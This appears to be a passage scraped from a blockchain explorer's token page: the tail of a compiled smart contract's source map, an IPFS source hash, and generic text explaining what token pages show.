::-;13392:80;13468:2;13457:9;13453:18;13444:6;13392:80;:::i;:::-;13519:9;13513:4;13509:20;13504:2;13493:9;13489:18;13482:48;13547:108;13650:4;13641:6;13547:108;:::i;:::-;13539:116;;13665:72;13733:2;13722:9;13718:18;13709:6;13665:72;:::i;:::-;13747:73;13815:3;13804:9;13800:19;13791:6;13747:73;:::i;:::-;12996:831;;;;;;;;:::o;13833:233::-;13872:3;13895:24;13913:5;13895:24;:::i;:::-;13886:33;;13941:66;13934:5;13931:77;13928:103;;14011:18;;:::i;:::-;13928:103;14058:1;14051:5;14047:13;14040:20;;13833:233;;;:::o;14072:410::-;14112:7;14135:20;14153:1;14135:20;:::i;:::-;14130:25;;14169:20;14187:1;14169:20;:::i;:::-;14164:25;;14224:1;14221;14217:9;14246:30;14264:11;14246:30;:::i;:::-;14235:41;;14425:1;14416:7;14412:15;14409:1;14406:22;14386:1;14379:9;14359:83;14336:139;;14455:18;;:::i;:::-;14336:139;14120:362;14072:410;;;;:::o;14488:180::-;14536:77;14533:1;14526:88;14633:4;14630:1;14623:15;14657:4;14654:1;14647:15;14674:185;14714:1;14731:20;14749:1;14731:20;:::i;:::-;14726:25;;14765:20;14783:1;14765:20;:::i;:::-;14760:25;;14804:1;14794:35;;14809:18;;:::i;:::-;14794:35;14851:1;14848;14844:9;14839:14;;14674:185;;;;:::o;14865:221::-;15005:34;15001:1;14993:6;14989:14;14982:58;15074:4;15069:2;15061:6;15057:15;15050:29;14865:221;:::o;15092:366::-;15234:3;15255:67;15319:2;15314:3;15255:67;:::i;:::-;15248:74;;15331:93;15420:3;15331:93;:::i;:::-;15449:2;15444:3;15440:12;15433:19;;15092:366;;;:::o;15464:419::-;15630:4;15668:2;15657:9;15653:18;15645:26;;15717:9;15711:4;15707:20;15703:1;15692:9;15688:17;15681:47;15745:131;15871:4;15745:131;:::i;:::-;15737:139;;15464:419;;;:::o;15889:177::-;16029:29;16025:1;16017:6;16013:14;16006:53;15889:177;:::o;16072:366::-;16214:3;16235:67;16299:2;16294:3;16235:67;:::i;:::-;16228:74;;16311:93;16400:3;16311:93;:::i;:::-;16429:2;16424:3;16420:12;16413:19;;16072:366;;;:::o;16444:419::-;16610:4;16648:2;16637:9;16633:18;16625:26;;16697:9;16691:4;16687:20;16683:1;16672:9;16668:17;16661:47;16725:131;16851:4;16725:131;:::i;:::-;16717:139;;16444:419;;;:::o

Swarm Source

ipfs://1b0fee69df299471463f572597ed8844f5dacb87cc9d6df318ac99d7549dc9ce
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.